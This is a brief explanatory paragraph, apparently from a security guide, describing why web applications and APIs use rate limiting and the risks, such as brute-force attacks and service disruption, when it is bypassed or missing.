Rate limiting is implemented in web applications and APIs to prevent  
abuse, such as brute-force attacks or excessive requests that could  
lead to resource exhaustion. When a rate limit is bypassed or not  
properly enforced, it opens the door for attackers to carry out  
malicious activities more quickly than intended, potentially leading  
to unauthorized access, data breaches, or service disruption.
